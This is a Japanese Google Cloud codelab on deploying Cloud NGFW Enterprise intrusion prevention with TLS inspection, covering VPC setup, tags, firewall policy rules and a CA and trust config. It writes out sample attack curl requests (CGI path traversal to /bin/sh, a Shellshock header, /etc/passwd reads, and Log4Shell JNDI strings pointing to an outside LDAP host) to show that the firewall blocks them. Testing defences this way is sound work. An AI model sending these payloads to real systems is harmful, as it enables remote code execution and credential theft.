1. はじめに
Cloud Next Generation Firewall(NGFW)
Cloud Next Generation Firewall は、高度な保護機能、マイクロセグメンテーション、内部および外部の攻撃から Google Cloud ワークロードを広範囲に保護する機能を備えた、完全分散型のファイアウォール サービスです。
Cloud NGFW には次の利点があります。
- 分散ファイアウォール サービス: Cloud NGFW では、各ワークロードに完全に分散されたステートフルなホストベースの適用が可能で、ゼロトラスト セキュリティ アーキテクチャを実現できます。
- 構成とデプロイの簡素化: Cloud NGFW は、リソース階層ノードに接続できるネットワークと階層型ファイアウォール ポリシーを実装します。これらのポリシーにより、Google Cloud リソース階層全体で一貫性のあるファイアウォール エクスペリエンスが提供されます。
- きめ細かい制御とマイクロセグメンテーション: ファイアウォール ポリシーと Identity and Access Management(IAM)によって管理されるタグを組み合わせて、Virtual Private Cloud(VPC)ネットワークと組織全体で、North-South トラフィックと East-West トラフィックの両方を 1 つの VM に至るまできめ細かく制御できます。
Cloud NGFW は次の階層で使用できます。
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise は、分散型 Google Cloud ファイアウォール ファブリックに、レイヤ 7 機能である侵入防止サービス(IPS)を追加します。TLS インスペクションがサポートされているため、TLS で暗号化されたトラフィックの検査が可能です。
ネットワーク アーキテクチャやルーティング構成を変更することなく、きめ細かい制御で信頼性の高いレイヤ 7 次世代ファイアウォール(NGFW)検査をデプロイできるようになりました。
IPS を使用してレイヤ 7 ファイアウォール制御を有効にしてデプロイするには、次のタスクを実行する必要があります。
- Google Cloud マネージド ゾーン ファイアウォール エンドポイントのセットを作成します。
- 必要に応じて TLS インスペクション ポリシーを作成します。
- 必要に応じて信頼構成を作成します。
- これらのエンドポイントを、Cloud NGFW Enterprise サービスが必要な Virtual Private Cloud(VPC)ネットワークに関連付けます。
- 既存のファイアウォール ポリシーとファイアウォール ルールに簡単な変更を加えて、さまざまなトラフィック パスの脅威防止プロファイルを指定します。
ネットワーク ファイアウォール ポリシー
ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールのコンテナとして機能します。ネットワーク ファイアウォール ポリシーで定義されたルールは、ポリシーが VPC ネットワークに関連付けられるまで適用されません。各 VPC ネットワークには、1 つのネットワーク ファイアウォール ポリシーを関連付けることができます。ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールで IAM で管理されるタグ(または単にタグ)をサポートしています。これは現在のネットワーク タグに代わるもので、ワークロードに ID を提供するために使用できます。
ネットワーク間でネットワーク ファイアウォール ポリシーを共有し、IAM によって管理されるタグと統合することで、ファイアウォールの構成と管理が大幅に簡素化されます。
ネットワーク ファイアウォール ポリシーの導入により、Google Cloud のファイアウォール ポリシーは次のコンポーネントで構成されるようになりました。
- 階層型ファイアウォール ポリシー
- VPC ファイアウォール ルール
- ネットワーク ファイアウォール ポリシー(グローバルとリージョン)
階層型ファイアウォール ポリシーはリソース階層内の組織ノードとフォルダノードでサポートされていますが、VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーは VPC レベルで適用されます。VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーの大きな違いは、VPC ファイアウォール ルールは単一の VPC ネットワークにのみ適用できるのに対し、ネットワーク ファイアウォール ポリシーは単一の VPC または VPC のグループに適用できることです。また、バッチ更新などのメリットもあります。
また、すべての VPC ネットワークに付属する暗黙のファイアウォール ルールもあります。
- アクションが allow、宛先が 0.0.0.0/0 の下り(外向き)ルール
- アクションが deny、送信元が 0.0.0.0/0 の上り(内向き)ルール
デフォルトでは、適用順序は次の図のようになります。
VPC ファイアウォール ルールとグローバル ネットワーク ファイアウォール ポリシーの適用順序は入れ替えることができます。お客様は、gcloud コマンドを使用して、いつでも適用順序を指定できます。
タグ
新しいネットワーク ファイアウォール ポリシールールに統合されたタグは、Google Cloud リソース階層の組織レベルまたはプロジェクト レベルで定義された Key-Value ペアのリソースです。このようなタグには、タグに対して何を行えるかを指定する IAM アクセス制御が含まれています。たとえば、Identity and Access Management(IAM)権限を使用すると、どのプリンシパルが値をタグに割り当てることができるかと、どのプリンシパルがタグをリソースにアタッチできるかを指定できます。ネットワーク ファイアウォール ルールがタグを参照する場合、適用するにはリソースに適用する必要があります。
タグは Google Cloud の継承リソースモデルに従います。つまり、タグとその値は親から階層全体に渡されます。その結果、タグを 1 か所で作成し、リソース階層全体の他のフォルダやプロジェクトで使用できます。タグとアクセス制限の詳細については、こちらのページをご覧ください。
タグをネットワーク タグと混同しないでください。後者は、Compute Engine インスタンスに追加できる文字列です。インスタンスに関連付けられ、インスタンスが廃止されると消えます。VPC ファイアウォール ルールにはネットワーク タグを含めることができますが、クラウド リソースとはみなされないため、IAM アクセス制御の対象ではありません。
このドキュメントでは、タグと IAM で管理されるタグが同じ意味で使用されています。
作成するアプリの概要
この Codelab では、1 つのプロジェクトと、VPC ネットワークの作成と、多数のネットワーク リソースとセキュリティ リソースの管理を行う必要があります。このチュートリアルでは、次のように Cloud NGFW Enterprise が IPS 機能を提供できる方法について説明します。
- TLS インスペクションによる北向きインターネット フローの検査
- TLS インスペクションによる VPC 内フロー [East-West] のインスペクション
検査対象のフローは、5 タプル(送信元 IP、宛先 IP、プロトコル、送信元ポート、宛先ポート)やタグなどの Cloud Firewall の一致パラメータを使用して選択されます。
ネットワーク ファイアウォール ポリシー ルールベースの最終状態は、次の表のようになります。
優先度 | 方向 | ターゲット | ソース | 宛先 | アクション | 型 |
100 | Ingress | Server_Tag | ヘルスチェック | すべて | 許可 | Essentials |
200 | Ingress | Client_Tag、Server_Tag | IAP | すべて | 許可 | Essentials |
800 | Ingress | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | L7 検査 | Enterprise |
850 | 下り(外向き) | Client_Tag | すべて | 10.0.0.0/24 | 許可 | Essentials |
900 | 下り(外向き) | Client_Tag | すべて | すべて | L7 検査 | Enterprise |
学習内容
- ネットワーク ファイアウォール ポリシーを作成する方法。
- ネットワーク ファイアウォール ポリシーでタグを作成して使用する方法。
- TLS インスペクションを使用する Cloud NGFW Enterprise の構成方法と使用方法。
必要なもの
- Google Cloud プロジェクト。
- インスタンスのデプロイとネットワーク コンポーネントの構成に関する知識。
- VPC ファイアウォールの構成に関する知識。
2. 始める前に
変数の作成/更新
この Codelab では、$variables を使用して、Cloud Shell での gcloud 構成の実装を支援します。
Cloud Shell で、次のコマンドを実行します。必要に応じて、かっこ内の情報を置き換えます。
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. API を有効にする
API が有効になっていない場合は有効にします。
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise エンドポイントの作成
Cloud NGFW Enterprise エンドポイントの作成には 20 分ほどかかるため、まずエンドポイントが作成され、エンドポイントの作成中にベース設定を並行して行うことができます。
セキュリティ プロファイルとセキュリティ プロファイル グループを作成します。
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
予想される出力:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
リソースが正常に作成されたことを確認します。
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
期待される出力(出力形式は、使用しているクライアントによって異なる場合があります)。
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Cloud NGFW Enterprise エンドポイントを作成します。
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
次のコマンドを実行して、エンドポイントが作成中であることを確認します(CREATING)。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
期待される出力(出力形式は使用しているクライアントによって異なる場合があります)。
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
必要に応じて、次のコマンドを実行して詳細情報を取得します。
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
予想される出力:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
作成プロセスには約 20 分かかります。ベース設定セクションに進み、必要なリソースを並行して作成します。
5. ベースのセットアップ
VPC ネットワークとサブネット
VPC ネットワークとサブネット
VPC ネットワークとサブネットを作成します。
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router と Cloud NAT ゲートウェイを作成します。
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
インスタンス
クライアント インスタンスとウェブサーバー インスタンスを作成します。
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
プロジェクト レベルのタグ
必要に応じて、ユーザーに tagAdmin 権限を割り当てます。
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
プロジェクト レベルのタグキーと値を作成します。
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
タグをインスタンスにバインドします。
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
グローバル ネットワーク ファイアウォール ポリシー
グローバル ネットワーク ファイアウォール ポリシーを作成します。
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
ヘルスチェックとIdentity-Aware Proxy の範囲からのトラフィックを許可するために、必要な Cloud Firewall Essential ルールを作成します。
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
特定の範囲からの上り(内向き)の東西間 / サブネット内トラフィックを許可するために、必要な Cloud Firewall ルールを作成します(これらのルールは、TLS インスペクションを有効にして Cloud NGFW Enterprise を有効にするように更新されます)。
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
クラウド ファイアウォール ポリシーを VPC ネットワークに関連付けます。
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. Cloud ファイアウォール エンドポイントの関連付け
まだ環境変数を定義していない場合や、スクリプト アプローチを好む場合は、環境変数を定義します。
Cloud Firewall エンドポイントの作成が正常に完了したことを確認します。ステータスが [ACTIVE] と表示されたら、次のステップに進みます(作成中は [CREATING] と表示されます)。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
期待される出力(出力形式は使用しているクライアントによって異なる場合があります)。
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
必要に応じて、次のコマンドを実行して詳細情報を取得します。
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
予想される出力:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Cloud Firewall エンドポイントを VPC ネットワークに関連付けます。
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
アソシエーション プロセスには約 10 分かかります。ステータスが [ACTIVE] と表示されたら、TLS セクションに進みます(作成中は [CREATING] と表示されます)。
gcloud network-security firewall-endpoint-associations list
完了時の想定される出力:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
必要に応じて、次のコマンドを実行して詳細情報を取得します。
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
予想される出力:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. TLS リソースを構成する
CA プールを作成します。このリソースは、NGFW Enterprise 用に生成するルート CA 証明書を格納するために使用されます。
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
ルート CA を作成します。これは、NGFW Enterprise を介したリクエストの追加証明書の署名に使用される CA 証明書です。
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
次のメッセージが表示されたら、[y] と回答します。
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
サービス アカウントを作成します。このサービス アカウントは、NGFW Enterprise の証明書をリクエストするために使用されます。
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
サービス アカウントの IAM 権限を設定します。
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
TLS ポリシーの YAML ファイルを作成します。このファイルには、特定のリソースに関する情報が含まれます。
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
TLS インスペクション ポリシーをインポートします。
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
TLS を有効にするようにエンドポイントの関連付けを更新します。
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
CA 証明書を取得して、クライアントの CA ストアに追加します。
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
CA 証明書をクライアントに転送します。
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
VM に SSH で接続し、CA 証明書を /usr/local/share/ca-certificates に移動して CA ストアを更新します。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
終了して Cloud Shell に戻ります。
サーバー証明書の署名プロセス:
Cloudshell で、pip コマンドを使用して Pyca 暗号ライブラリをインストールします。
pip install --user "cryptography>=2.2.0"
Google Cloud SDK で Pyca 暗号ライブラリを使用できるようにするには、サイト パッケージを有効にする必要があります。
export CLOUDSDK_PYTHON_SITEPACKAGES=1
サーバー証明書を作成します。
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
これにより、cloudshell に cert.pem ファイルと key.pem ファイルが生成されます。次に、証明書と鍵をサーバーに転送します。
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
サーバーに SSH 接続して、Apache の証明書の詳細を更新します。
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
証明書と鍵を特定のフォルダに移動します。
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
署名付き証明書を使用するように SSL 構成を更新します。
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Apache を再起動します。
sudo systemctl restart apache2
Apache のステータスを確認します。
sudo systemctl status apache2
アクティブ(実行中)である必要があります。
VM を終了し、Cloud Shell で続行します。
8. 上り(内向き)接続と東西接続を検証する
Cloud Shell で次のコマンドを実行し、使用するターゲット IP をメモします。
gcloud compute instances list --filter="name=($prefix-$zone-www)"
新しいタブを開き、IAP を介してクライアント VM への SSH 接続を開始します(新しいタブで変数を定義する必要があります)。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
次のコマンドを実行し、使用するターゲット IP をメモします。角かっこ内の値を前の手順でメモした IP に置き換えて変数を作成し、到達可能であることを確認します。
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
プライベート IP を Curl して、到達可能であることを確認します。
curl https://$target_privateip --max-time 2
curl リクエストで想定される結果:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
サンプル攻撃を IP に送信します。ウェブサーバーはすべてのリクエストに応答し、L7 検査/防止が設定されていないことを確認する必要があります。
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
期待される結果の例(プライベート IP):
400 404 400 200 200
同様に、インターネットの宛先にリクエストを送信します。
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
期待される結果の例(インターネットのリンク先):
400 404 400 403 403
VM ターミナルを終了して Cloud Shell に戻ります。
9. TLS インスペクション用のファイアウォール ルールを作成、更新する
前述では、内部サブネットからサーバーへの上り(内向き)トラフィックを許可するファイアウォール ルールを構成しました。既存の Ingress ルールを更新し、アクションを apply_security_profile_group に設定します。これにより、TLS を使用した E/W L7 インスペクションが有効になります。
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
TLS を使用して北向きの L7 インスペクションを検査する新しいルールを作成します。
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
二重検査を防ぐために、E/W の下り(外向き)を許可する新しいルールを作成します。
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. ノースバウンド TLS インスペクションの検証
クライアント VM タブに戻るか、もう一度接続します。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
サンプル攻撃をインターネットの宛先に送信します。
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
以下に示す想定される出力に従い、レスポンスが受信されません。これにより、サンプル攻撃がブロックされていることが確認されます。
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
変数を前のサーバーの IP に設定します。
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
サンプル TLS リクエストをサーバーに送信します。
curl https://$target_privateip --max-time 2
予想される出力:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
このリクエストが失敗した理由これは、ファイアウォールが信頼されていないサーバーから証明書を受信しているためです。この場合、自己署名証明書がクライアントに返されます。信頼を有効にするには、信頼構成の一部として CA 証明書を追加する必要があります。
Cloud Shell に戻ります。
11. 信頼構成を構成する
ルート CA 証明書を取得し、適切な形式で変数として設定します。
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Trust Config YAML ファイルを構成します。このファイルには、CA 証明書などの信頼の詳細が含まれています。
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
上記のコマンドでは、サーバーの証明書がルート CA を使用して署名されているため、ルート CA 証明書がトラストストアの一部として含まれています。つまり、TLS ポリシーで excludePublicCaSet が false に設定されている場合、ファイアウォールは、ルート CA によって署名された受信した証明書を信頼します(パブリック CA も信頼します)。
trust config の内容を確認します。
cat trust_config.yaml
出力例:
証明書のインデントの位置に注意してください。この形式に厳密に従う必要があります。
name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
信頼構成をインポートします。
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
TLS ポリシーの YAML ファイルを更新して、信頼構成を追加します。
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
更新した TLS ポリシーをインポートします。
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. E/W TLS インスペクションの検証
クライアントに SSH で接続し、更新された信頼構成で E/W トラフィックをテストします。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
サーバーにサンプル TLS リクエストを実行します。
curl https://$target_privateip --max-time 2
それでも上記の出力が表示される場合は、更新が反映されるまでお待ちください。
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
予想される出力:
